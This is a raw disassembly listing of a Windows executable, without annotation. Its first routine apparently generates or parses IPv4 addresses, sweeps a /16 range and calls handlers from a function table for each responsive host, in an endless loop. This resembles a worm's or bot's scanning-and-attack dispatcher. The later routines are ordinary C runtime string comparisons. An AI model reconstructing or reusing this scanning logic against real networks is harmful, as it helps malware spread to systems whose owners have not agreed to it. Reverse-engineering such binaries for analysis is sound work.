; Attributes: noreturn bp-based	frame


sub_40A9C4	proc near		; DATA XREF: .text:0040A6FAo

var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_244		= dword	ptr -244h
var_240		= byte ptr -240h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= byte ptr -134h
var_133		= byte ptr -133h
var_130		= byte ptr -130h
var_30		= byte ptr -30h
var_20		= byte ptr -20h
var_1E		= byte ptr -1Eh
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 25Ch
		mov	eax, dword_423068
		xor	eax, esp
		mov	[esp+25Ch+var_4], eax
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	49h
		pop	ecx
		lea	edi, [esp+268h+var_130]
		rep movsd

loc_40A9F0:				; CODE XREF: sub_40A9C4+546j
					; sub_40A9C4+557j
		lea	eax, [esp+268h+var_250]
		push	eax
		lea	eax, [esp+26Ch+var_254]
		push	eax
		lea	eax, [esp+270h+var_258]
		push	eax
		lea	eax, [esp+274h+var_25C]
		push	eax
		or	ebx, 0FFFFFFFFh
		lea	eax, [esp+278h+var_30]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax
		mov	[esp+280h+var_25C], ebx
		mov	[esp+280h+var_258], ebx
		mov	[esp+280h+var_254], ebx
		mov	[esp+280h+var_250], ebx
		call	sub_40DB87
		add	esp, 18h
		xor	edi, edi
		cmp	[esp+268h+var_1E], 0
		jz	short loc_40AAA2
		cmp	[esp+268h+var_25C], ebx
		mov	esi, 0FEh
		jnz	short loc_40AA50
		push	edi
		mov	eax, esi
		call	sub_402CC7
		pop	ecx
		mov	[esp+268h+var_25C], eax

loc_40AA50:				; CODE XREF: sub_40A9C4+7Dj
		cmp	[esp+268h+var_258], ebx
		jnz	short loc_40AA63
		push	edi
		mov	eax, esi
		call	sub_402CC7
		pop	ecx
		mov	[esp+268h+var_258], eax

loc_40AA63:				; CODE XREF: sub_40A9C4+90j
		cmp	[esp+268h+var_254], ebx
		jnz	short loc_40AA76
		push	edi
		mov	eax, esi
		call	sub_402CC7
		pop	ecx
		mov	[esp+268h+var_254], eax

loc_40AA76:				; CODE XREF: sub_40A9C4+A3j
		mov	eax, [esp+268h+var_250]
		cmp	eax, ebx
		jnz	short loc_40AA8B
		push	edi
		mov	eax, esi
		call	sub_402CC7
		pop	ecx
		mov	[esp+268h+var_250], eax

loc_40AA8B:				; CODE XREF: sub_40A9C4+B8j
		shl	eax, 8
		add	eax, [esp+268h+var_254]
		shl	eax, 8
		add	eax, [esp+268h+var_258]
		shl	eax, 8
		add	eax, [esp+268h+var_25C]
		jmp	short loc_40AB0A
; ---------------------------------------------------------------------------

loc_40AAA2:				; CODE XREF: sub_40A9C4+72j
		mov	eax, [esp+268h+var_18]
		sub	eax, edi
		jz	short loc_40AADB
		dec	eax
		jz	short loc_40AABA
		dec	eax
		jnz	short loc_40AAEF
		mov	eax, 0FEh
		jmp	short loc_40AACE
; ---------------------------------------------------------------------------

loc_40AABA:				; CODE XREF: sub_40A9C4+EAj
		mov	esi, 0FEh

loc_40AABF:				; CODE XREF: sub_40A9C4+129j
		push	edi
		mov	eax, esi
		call	sub_402CC7
		mov	[esp+26Ch+var_254], eax
		pop	ecx
		mov	eax, esi

loc_40AACE:				; CODE XREF: sub_40A9C4+F4j
		push	edi
		call	sub_402CC7
		pop	ecx
		mov	[esp+268h+var_250], eax
		jmp	short loc_40AAF3
; ---------------------------------------------------------------------------

loc_40AADB:				; CODE XREF: sub_40A9C4+E7j
		mov	esi, 0FEh
		push	edi
		mov	eax, esi
		call	sub_402CC7
		pop	ecx
		mov	[esp+268h+var_258], eax
		jmp	short loc_40AABF
; ---------------------------------------------------------------------------

loc_40AAEF:				; CODE XREF: sub_40A9C4+EDj
		mov	eax, [esp+268h+var_250]

loc_40AAF3:				; CODE XREF: sub_40A9C4+115j
		shl	eax, 8
		add	eax, [esp+268h+var_254]
		shl	eax, 8
		add	eax, [esp+268h+var_258]
		shl	eax, 8
		add	eax, [esp+268h+var_25C]
		xor	edi, edi

loc_40AB0A:				; CODE XREF: sub_40A9C4+DCj
		mov	[esp+268h+var_14], eax
		mov	eax, [esp+268h+var_1C]
		cmp	eax, ebx
		jnz	loc_40AD22
		xor	ebx, ebx
		mov	[esp+268h+var_248], ebx
		mov	eax, offset dword_424528

loc_40AB2B:				; CODE XREF: sub_40A9C4+18Dj
		push	dword ptr [eax]
		push	[esp+26Ch+var_14]
		call	sub_40A913
		test	al, al
		pop	ecx
		pop	ecx
		jnz	short loc_40AB58
		inc	ebx
		mov	eax, ebx
		imul	eax, 2Ch
		lea	eax, dword_424528[eax]
		cmp	[eax], edi
		mov	[esp+268h+var_248], ebx
		jnz	short loc_40AB2B
		jmp	loc_40AEFB
; ---------------------------------------------------------------------------

loc_40AB58:				; CODE XREF: sub_40A9C4+179j
		push	110h
		lea	eax, [esp+26Ch+var_240]
		push	edi
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		lea	eax, [esp+268h+var_130]
		push	eax
		push	offset aS	; "%s"
		lea	eax, [esp+270h+var_240]
		push	0FFh
		push	eax
		call	sub_40CAE4
		lea	eax, [esp+278h+var_240]
		push	eax
		call	sub_40C9B0
		mov	[esp+eax+27Ch+var_240],	0
		mov	eax, [esp+27Ch+var_14]
		mov	[esp+27Ch+var_140], ebx
		imul	ebx, 2Ch
		mov	[esp+27Ch+var_13C], eax
		mov	eax, dword_424528[ebx]
		mov	[esp+27Ch+var_138], eax
		mov	al, [esp+27Ch+var_20]
		sub	esp, 0FCh
		mov	[esp+378h+var_134], al
		mov	al, [esp+378h+var_1E]
		push	44h
		pop	ecx
		mov	[esp+378h+var_133], al
		lea	esi, [esp+378h+var_240]
		mov	edi, esp
		rep movsd
		call	off_424530[ebx]
		mov	esi, [esp+378h+var_250]
		shl	esi, 8
		add	esi, [esp+378h+var_254]
		add	esp, 110h
		shl	esi, 8
		add	esi, [esp+268h+var_258]
		mov	[esp+268h+var_24C], 100h
		shl	esi, 8
		add	esi, [esp+268h+var_25C]
		mov	[esp+268h+var_244], esi

loc_40AC22:				; CODE XREF: sub_40A9C4+353j
		mov	eax, [esp+268h+var_24C]
		mov	ecx, [esp+268h+var_254]
		add	eax, ecx
		shl	eax, 8
		add	eax, [esp+268h+var_258]
		shl	eax, 8
		add	eax, [esp+268h+var_25C]
		cmp	eax, esi
		mov	[esp+268h+var_14], eax
		jz	loc_40AD07
		push	dword_424528[ebx]
		push	eax
		call	sub_40A913
		test	al, al
		pop	ecx
		pop	ecx
		jz	loc_40AD07
		push	110h
		lea	eax, [esp+26Ch+var_240]
		push	0
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		lea	eax, [esp+268h+var_130]
		push	eax
		push	offset aS	; "%s"
		lea	eax, [esp+270h+var_240]
		push	0FFh
		push	eax
		call	sub_40CAE4
		lea	eax, [esp+278h+var_240]
		push	eax
		call	sub_40C9B0
		mov	[esp+eax+27Ch+var_240],	0
		mov	eax, [esp+27Ch+var_14]
		mov	[esp+27Ch+var_13C], eax
		mov	eax, [esp+27Ch+var_248]
		mov	[esp+27Ch+var_140], eax
		mov	eax, dword_424528[ebx]
		mov	[esp+27Ch+var_138], eax
		mov	al, [esp+27Ch+var_20]
		sub	esp, 0FCh
		mov	[esp+378h+var_134], al
		mov	al, [esp+378h+var_1E]
		push	44h
		pop	ecx
		mov	[esp+378h+var_133], al
		lea	esi, [esp+378h+var_240]
		mov	edi, esp
		rep movsd
		call	off_424530[ebx]
		mov	esi, [esp+378h+var_244]
		add	esp, 110h

loc_40AD07:				; CODE XREF: sub_40A9C4+27Fj
					; sub_40A9C4+295j
		add	[esp+268h+var_24C], 100h
		cmp	[esp+268h+var_24C], 0FE00h
		jle	loc_40AC22
		jmp	loc_40AEF6
; ---------------------------------------------------------------------------

loc_40AD22:				; CODE XREF: sub_40A9C4+156j
		imul	eax, 2Ch
		push	dword_424528[eax]
		push	[esp+26Ch+var_14]
		call	sub_40A913
		test	al, al
		pop	ecx
		pop	ecx
		jz	loc_40AEFB
		push	110h
		lea	eax, [esp+26Ch+var_240]
		push	edi
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		lea	eax, [esp+268h+var_130]
		push	eax
		push	offset aS	; "%s"
		lea	eax, [esp+270h+var_240]
		push	0FFh
		push	eax
		call	sub_40CAE4
		lea	eax, [esp+278h+var_240]
		push	eax
		call	sub_40C9B0
		mov	[esp+eax+27Ch+var_240],	0
		mov	eax, [esp+27Ch+var_14]
		mov	[esp+27Ch+var_13C], eax
		mov	eax, [esp+27Ch+var_1C]
		mov	[esp+27Ch+var_140], eax
		imul	eax, 2Ch
		mov	ecx, dword_424528[eax]
		mov	[esp+27Ch+var_138], ecx
		mov	cl, [esp+27Ch+var_20]
		sub	esp, 0FCh
		mov	[esp+378h+var_134], cl
		push	44h
		pop	ecx
		lea	esi, [esp+378h+var_240]
		mov	edi, esp
		rep movsd
		call	off_424530[eax]
		mov	ebx, [esp+378h+var_250]
		shl	ebx, 8
		add	ebx, [esp+378h+var_254]
		add	esp, 110h
		shl	ebx, 8
		add	ebx, [esp+268h+var_258]
		mov	[esp+268h+var_24C], 100h
		shl	ebx, 8
		add	ebx, [esp+268h+var_25C]

loc_40AE00:				; CODE XREF: sub_40A9C4+52Cj
		mov	eax, [esp+268h+var_24C]
		mov	ecx, [esp+268h+var_254]
		add	eax, ecx
		shl	eax, 8
		add	eax, [esp+268h+var_258]
		shl	eax, 8
		add	eax, [esp+268h+var_25C]
		cmp	eax, ebx
		mov	[esp+268h+var_14], eax
		jz	loc_40AEE0
		mov	ecx, [esp+268h+var_1C]
		imul	ecx, 2Ch
		push	dword_424528[ecx]
		push	eax
		call	sub_40A913
		test	al, al
		pop	ecx
		pop	ecx
		jz	loc_40AEE0
		push	110h
		lea	eax, [esp+26Ch+var_240]
		push	0
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		lea	eax, [esp+268h+var_130]
		push	eax
		push	offset aS	; "%s"
		lea	eax, [esp+270h+var_240]
		push	0FFh
		push	eax
		call	sub_40CAE4
		lea	eax, [esp+278h+var_240]
		push	eax
		call	sub_40C9B0
		mov	[esp+eax+27Ch+var_240],	0
		mov	eax, [esp+27Ch+var_14]
		mov	[esp+27Ch+var_13C], eax
		mov	eax, [esp+27Ch+var_1C]
		mov	[esp+27Ch+var_140], eax
		imul	eax, 2Ch
		mov	ecx, dword_424528[eax]
		mov	[esp+27Ch+var_138], ecx
		mov	cl, [esp+27Ch+var_20]
		sub	esp, 0FCh
		mov	[esp+378h+var_134], cl
		push	44h
		pop	ecx
		lea	esi, [esp+378h+var_240]
		mov	edi, esp
		rep movsd
		call	off_424530[eax]
		add	esp, 110h

loc_40AEE0:				; CODE XREF: sub_40A9C4+45Dj
					; sub_40A9C4+47Dj
		add	[esp+268h+var_24C], 100h
		cmp	[esp+268h+var_24C], 0FE00h
		jle	loc_40AE00

loc_40AEF6:				; CODE XREF: sub_40A9C4+359j
		call	sub_402C7B

loc_40AEFB:				; CODE XREF: sub_40A9C4+18Fj
					; sub_40A9C4+377j
		push	64h
		call	ds:off_41E0FC
		cmp	byte_426A20, 0
		jnz	loc_40A9F0
		push	2710h
		call	ds:off_41E0FC
		jmp	loc_40A9F0
sub_40A9C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AF20	proc near		; CODE XREF: .text:004097F0p
		jmp	ds:dword_41E1C4
sub_40AF20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AF26	proc near		; CODE XREF: sub_401000+31Bp
					; sub_4018E2+Ap ...
		jmp	loc_40D430
sub_40AF26	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF2B	proc near		; DATA XREF: ev73vtp2:004219A8o
		mov	dword ptr [ecx], offset	off_41E328
		jmp	sub_401C70
sub_40AF2B	endp

; ---------------------------------------------------------------------------

loc_40AF36:				; DATA XREF: ev73vtp2:off_41E328o
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41E328
		call	sub_401C70
		test	byte ptr [esp+8], 1
		jz	short loc_40AF52
		push	esi
		call	sub_40D352
		pop	ecx

loc_40AF52:				; CODE XREF: .text:0040AF49j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40AF58	proc near		; CODE XREF: sub_401F94+Dp
		push	44h
		mov	eax, offset sub_41DB53
		call	sub_40EAAD
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-28h]
		call	sub_40207D
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-28h]
		push	eax
		lea	ecx, [ebp-50h]
		call	sub_401C3B
		push	offset dword_422060
		lea	eax, [ebp-50h]
		push	eax
		mov	dword ptr [ebp-50h], offset nullsub_1
		call	sub_40E69C
		int	3		; Trap to Debugger
sub_40AF58	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40AF97	proc near		; CODE XREF: sub_401D9E+13p
					; sub_401F09+Fp
		push	44h
		mov	eax, offset sub_41DB53
		call	sub_40EAAD
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-28h]
		call	sub_40207D
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-28h]
		push	eax
		lea	ecx, [ebp-50h]
		call	sub_401C3B
		push	offset dword_4219A4
		lea	eax, [ebp-50h]
		push	eax
		mov	dword ptr [ebp-50h], offset off_41E328
		call	sub_40E69C
		int	3		; Trap to Debugger
		push	esi
		push	dword ptr [esp+8]
		mov	esi, ecx
		call	sub_402043
		mov	dword ptr [esi], offset	off_41E328
		mov	eax, esi
		pop	esi
		retn	4
sub_40AF97	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40AFEE	proc near		; CODE XREF: sub_401000+3FFp
					; sub_40140A+178p ...
		cmp	ecx, dword_423068
		jnz	short loc_40AFF8
		rep retn
; ---------------------------------------------------------------------------

loc_40AFF8:				; CODE XREF: sub_40AFEE+6j
		jmp	sub_40EB6F
sub_40AFEE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AFFD	proc near		; CODE XREF: sub_40B0B4+Dp
					; sub_40B1D7+1Ap ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		push	esi
		mov	esi, ecx
		mov	byte ptr [esi+0Ch], 0
		jnz	short loc_40B06F
		call	sub_40F87E
		mov	[esi+8], eax
		mov	ecx, [eax+6Ch]
		mov	[esi], ecx
		mov	ecx, [eax+68h]
		mov	[esi+4], ecx
		mov	ecx, [esi]
		cmp	ecx, off_423678
		jz	short loc_40B03B
		mov	ecx, dword_423594
		test	[eax+70h], ecx
		jnz	short loc_40B03B
		call	sub_40F592
		mov	[esi], eax

loc_40B03B:				; CODE XREF: sub_40AFFD+2Aj
					; sub_40AFFD+35j
		mov	eax, [esi+4]
		cmp	eax, dword_423498
		jz	short loc_40B05C
		mov	eax, [esi+8]
		mov	ecx, dword_423594
		test	[eax+70h], ecx
		jnz	short loc_40B05C
		call	sub_40EE81
		mov	[esi+4], eax

loc_40B05C:				; CODE XREF: sub_40AFFD+47j
					; sub_40AFFD+55j
		mov	eax, [esi+8]
		test	byte ptr [eax+70h], 2
		jnz	short loc_40B079
		or	dword ptr [eax+70h], 2
		mov	byte ptr [esi+0Ch], 1
		jmp	short loc_40B079
; ---------------------------------------------------------------------------

loc_40B06F:				; CODE XREF: sub_40AFFD+Dj
		mov	ecx, [eax]
		mov	[esi], ecx
		mov	eax, [eax+4]
		mov	[esi+4], eax

loc_40B079:				; CODE XREF: sub_40AFFD+66j
					; sub_40AFFD+70j
		mov	eax, esi
		pop	esi
		retn	4
sub_40AFFD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B07F	proc near		; CODE XREF: sub_40B0B4+86p
					; sub_40B187+39j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi

loc_40B089:				; CODE XREF: sub_40B07F+2Ej
		movzx	eax, byte ptr [esi]
		lea	ecx, [eax-41h]
		inc	esi
		cmp	ecx, 19h
		ja	short loc_40B098
		add	eax, 20h

loc_40B098:				; CODE XREF: sub_40B07F+14j
		movzx	ecx, byte ptr [edx]
		lea	edi, [ecx-41h]
		inc	edx
		cmp	edi, 19h
		ja	short loc_40B0A7
		add	ecx, 20h

loc_40B0A7:				; CODE XREF: sub_40B07F+23j
		test	eax, eax
		jz	short loc_40B0AF
		cmp	eax, ecx
		jz	short loc_40B089

loc_40B0AF:				; CODE XREF: sub_40B07F+2Aj
		pop	edi
		sub	eax, ecx
		pop	esi
		retn
sub_40B07F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B0B4	proc near		; CODE XREF: sub_40B187+45p
					; sub_4188C7+8Fp

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_10]
		call	sub_40AFFD
		xor	ebx, ebx
		cmp	[ebp+arg_0], ebx
		jnz	short loc_40B0FB
		call	sub_40FCB4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_40B0F1
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_40B0F1:				; CODE XREF: sub_40B0B4+34j
		mov	eax, 7FFFFFFFh
		jmp	loc_40B184
; ---------------------------------------------------------------------------

loc_40B0FB:				; CODE XREF: sub_40B0B4+17j
		push	edi
		mov	edi, [ebp+arg_4]
		cmp	edi, ebx
		jnz	short loc_40B12E
		call	sub_40FCB4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_40B127
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_40B127:				; CODE XREF: sub_40B0B4+6Aj
		mov	eax, 7FFFFFFFh
		jmp	short loc_40B183
; ---------------------------------------------------------------------------

loc_40B12E:				; CODE XREF: sub_40B0B4+4Dj
		mov	eax, [ebp+var_10]
		cmp	[eax+14h], ebx
		jnz	short loc_40B143
		push	edi
		push	[ebp+arg_0]
		call	sub_40B07F
		pop	ecx
		pop	ecx
		jmp	short loc_40B177
; ---------------------------------------------------------------------------

loc_40B143:				; CODE XREF: sub_40B0B4+80j
		push	esi

loc_40B144:				; CODE XREF: sub_40B0B4+BCj
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	eax
		call	sub_40FB3B
		inc	[ebp+arg_0]
		mov	esi, eax
		movzx	eax, byte ptr [edi]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	eax
		call	sub_40FB3B
		add	esp, 10h
		inc	edi
		cmp	esi, ebx
		jz	short loc_40B172
		cmp	esi, eax
		jz	short loc_40B144

loc_40B172:				; CODE XREF: sub_40B0B4+B8j
		sub	esi, eax
		mov	eax, esi
		pop	esi

loc_40B177:				; CODE XREF: sub_40B0B4+8Dj
		cmp	[ebp+var_4], bl
		jz	short loc_40B183
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

loc_40B183:				; CODE XREF: sub_40B0B4+78j
					; sub_40B0B4+C6j
		pop	edi

loc_40B184:				; CODE XREF: sub_40B0B4+42j
		pop	ebx
		leave
		retn
sub_40B0B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B187	proc near		; CODE XREF: sub_401000+2C6p
					; sub_403186+26Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		xor	esi, esi
		cmp	dword_425E40, esi
		jnz	short loc_40B1C5
		cmp	[ebp+arg_0], esi
		jnz	short loc_40B1B9

loc_40B19A:				; CODE XREF: sub_40B187+35j
		call	sub_40FCB4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		mov	eax, 7FFFFFFFh
		jmp	short loc_40B1D4
; ---------------------------------------------------------------------------

loc_40B1B9:				; CODE XREF: sub_40B187+11j
		cmp	[ebp+arg_4], esi
		jz	short loc_40B19A
		pop	esi
		pop	ebp
		jmp	sub_40B07F
; ---------------------------------------------------------------------------

loc_40B1C5:				; CODE XREF: sub_40B187+Cj
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B0B4
		add	esp, 0Ch

loc_40B1D4:				; CODE XREF: sub_40B187+30j
		pop	esi
		pop	ebp
		retn
sub_40B187	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B1D7	proc near		; CODE XREF: sub_40B2C7+51p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		jz	loc_40B2C0
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_10]
		call	sub_40AFFD
		cmp	[ebp+arg_0], ebx
		jnz	short loc_40B229

loc_40B1FB:				; CODE XREF: sub_40B1D7+57j
		call	sub_40FCB4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_40B21F
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_40B21F:				; CODE XREF: sub_40B1D7+3Fj
		mov	eax, 7FFFFFFFh
		jmp	loc_40B2C2
; ---------------------------------------------------------------------------

loc_40B229:				; CODE XREF: sub_40B1D7+22j
		mov	edi, [ebp+arg_4]
		cmp	edi, ebx
		jz	short loc_40B1FB
		mov	esi, 7FFFFFFFh
		cmp	[ebp+arg_8], esi
		jbe	short loc_40B262
		call	sub_40FCB4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_40B25E
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_40B25E:				; CODE XREF: sub_40B1D7+7Ej
		mov	eax, esi
		jmp	short loc_40B2C2
; ---------------------------------------------------------------------------

loc_40B262:				; CODE XREF: sub_40B1D7+61j
		mov	eax, [ebp+var_10]
		cmp	[eax+14h], ebx
		jnz	short loc_40B287
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_40FD00
		add	esp, 0Ch

loc_40B279:				; CODE XREF: sub_40B1D7+E7j
		cmp	[ebp+var_4], bl
		jz	short loc_40B2C2
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	short loc_40B2C2
; ---------------------------------------------------------------------------

loc_40B287:				; CODE XREF: sub_40B1D7+91j
					; sub_40B1D7+E1j
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	eax
		call	sub_40FB3B
		inc	[ebp+arg_0]
		mov	esi, eax
		movzx	eax, byte ptr [edi]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	eax
		call	sub_40FB3B
		add	esp, 10h
		inc	edi
		dec	[ebp+arg_8]
		jz	short loc_40B2BA
		cmp	esi, ebx
		jz	short loc_40B2BA
		cmp	esi, eax
		jz	short loc_40B287

loc_40B2BA:				; CODE XREF: sub_40B1D7+D9j
					; sub_40B1D7+DDj
		sub	esi, eax
		mov	eax, esi
		jmp	short loc_40B279
; ---------------------------------------------------------------------------

loc_40B2C0:				; CODE XREF: sub_40B1D7+Ej
		xor	eax, eax

loc_40B2C2:				; CODE XREF: sub_40B1D7+4Dj
					; sub_40B1D7+89j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B1D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2C7	proc near		; CODE XREF: sub_40140A+E0p
					; sub_40158F+146p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		xor	esi, esi
		cmp	dword_425E40, esi
		jnz	short loc_40B30E
		cmp	[ebp+arg_0], esi
		jnz	short loc_40B2F9

loc_40B2DA:				; CODE XREF: sub_40B2C7+35j
					; sub_40B2C7+3Ej
		call	sub_40FCB4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		mov	eax, 7FFFFFFFh
		jmp	short loc_40B320
; ---------------------------------------------------------------------------

loc_40B2F9:				; CODE XREF: sub_40B2C7+11j
		cmp	[ebp+arg_4], esi
		jz	short loc_40B2DA
		cmp	[ebp+arg_8], 7FFFFFFFh
		ja	short loc_40B2DA
		pop	esi
		pop	ebp
		jmp	sub_40FD00
; ---------------------------------------------------------------------------

loc_40B30E:				; CODE XREF: sub_40B2C7+Cj
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B1D7
		add	esp, 10h

loc_40B320:				; CODE XREF: sub_40B2C7+30j
		pop	esi
		pop	ebp
		retn
sub_40B2C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B323	proc near		; CODE XREF: sub_4018E2+63p
					; sub_404954+6Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		mov	eax, edi
		sub	eax, 0
		jz	loc_40C91B
		dec	eax
		jz	loc_40C90A
		dec	eax
		jz	loc_40C8DC
		dec	eax
		jz	loc_40C894
		dec	eax
		jz	loc_40C80B
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	ebx
		push	20h
		pop	edx
		jmp	loc_40B7D3
; ---------------------------------------------------------------------------

loc_40B361:				; CODE XREF: sub_40B323+4B2j
		mov	esi, [eax]
		cmp	esi, [ecx]
		jz	short loc_40B3E3
		movzx	esi, byte ptr [eax]
		movzx	ebx, byte ptr [ecx]
		sub	esi, ebx
		jz	short loc_40B386
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B7EF

loc_40B386:				; CODE XREF: sub_40B323+4Cj
		movzx	esi, byte ptr [eax+1]
		movzx	ebx, byte ptr [ecx+1]
		sub	esi, ebx
		jz	short loc_40B3A7
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B7EF

loc_40B3A7:				; CODE XREF: sub_40B323+6Dj
		movzx	esi, byte ptr [eax+2]
		movzx	ebx, byte ptr [ecx+2]
		sub	esi, ebx
		jz	short loc_40B3C8
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B7EF

loc_40B3C8:				; CODE XREF: sub_40B323+8Ej
		movzx	esi, byte ptr [eax+3]
		movzx	ebx, byte ptr [ecx+3]
		sub	esi, ebx
		jz	short loc_40B3E5
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_40B3E5
; ---------------------------------------------------------------------------

loc_40B3E3:				; CODE XREF: sub_40B323+42j
		xor	esi, esi

loc_40B3E5:				; CODE XREF: sub_40B323+AFj
					; sub_40B323+BEj
		test	esi, esi
		jnz	loc_40B7EF
		mov	esi, [eax+4]
		cmp	esi, [ecx+4]
		jz	short loc_40B473
		movzx	esi, byte ptr [eax+4]
		movzx	ebx, byte ptr [ecx+4]
		sub	esi, ebx
		jz	short loc_40B416
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B7EF

loc_40B416:				; CODE XREF: sub_40B323+DCj
		movzx	esi, byte ptr [eax+5]
		movzx	ebx, byte ptr [ecx+5]
		sub	esi, ebx
		jz	short loc_40B437
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B7EF

loc_40B437:				; CODE XREF: sub_40B323+FDj
		movzx	esi, byte ptr [eax+6]
		movzx	ebx, byte ptr [ecx+6]
		sub	esi, ebx
		jz	short loc_40B458
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
